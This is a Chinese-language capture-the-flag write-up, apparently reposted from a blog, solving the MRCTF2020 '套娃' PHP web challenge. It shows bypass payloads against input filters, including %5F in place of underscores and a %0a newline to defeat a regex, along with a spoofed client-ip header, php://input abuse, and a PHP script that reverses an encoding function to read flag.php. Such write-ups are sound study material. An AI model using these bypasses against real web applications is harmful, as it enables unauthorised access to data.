• MRCTF2020 套娃


    MRCTF2020套娃

    打开网页查看源代码

    关于$_SERVER['QUERY_STRING']取值,例如:
    http://localhost/aaa/?p=222
    $_SERVER['QUERY_STRING'] = "p=222";
    
    substr_count()函数计算子串在字符串中出现的次数
    PS:子串区分大小写
    

    上述代码不能出现'_'和'%5f',可以用‘ ’或‘.’或‘ %5F’绕过

    通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过)绕过

    payload:?b%5Fu%5Fp%5Ft=23333%0a
    

    MRCTF2020二

    打开secrettw.php查看源码

    MRCTF2020三

    复制注释代码放进控制台

    MRCTF2020四

    随便POST一个Merak值,回显如下

    MRCTF2020五

    分析一下代码

    1.需要IP地址为127.0.0.1 在header中加client-ip:127.0.0.1

    2.file_get_contents用php伪协议绕过

    2333=php://input
    post:todat is a happy day
    

    3.change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

    反写change函数,exp:

    <?php
    function unchange($v){ 
        $re = '';
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) - $i*2 ); 
        } 
        return $re; 
    }
    $real_flag = unchange('flag.php');
    echo base64_encode($real_flag);
    ?>
    

    得到ZmpdYSZmXGI=

    用burp传入参数得到flag

    MRCTF2020六

  • 相关阅读:
    jdbc基础
    DAO模式(单表)
    window对象
    抽象类VS接口
    sql语句
    JS弹框计算
    HBML表单
    【mysql】:mysql性能优化总结
    【java】:多线程面试题
    spring multipart源码分析:
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13291746.html
Copyright © 2020-2023  润新知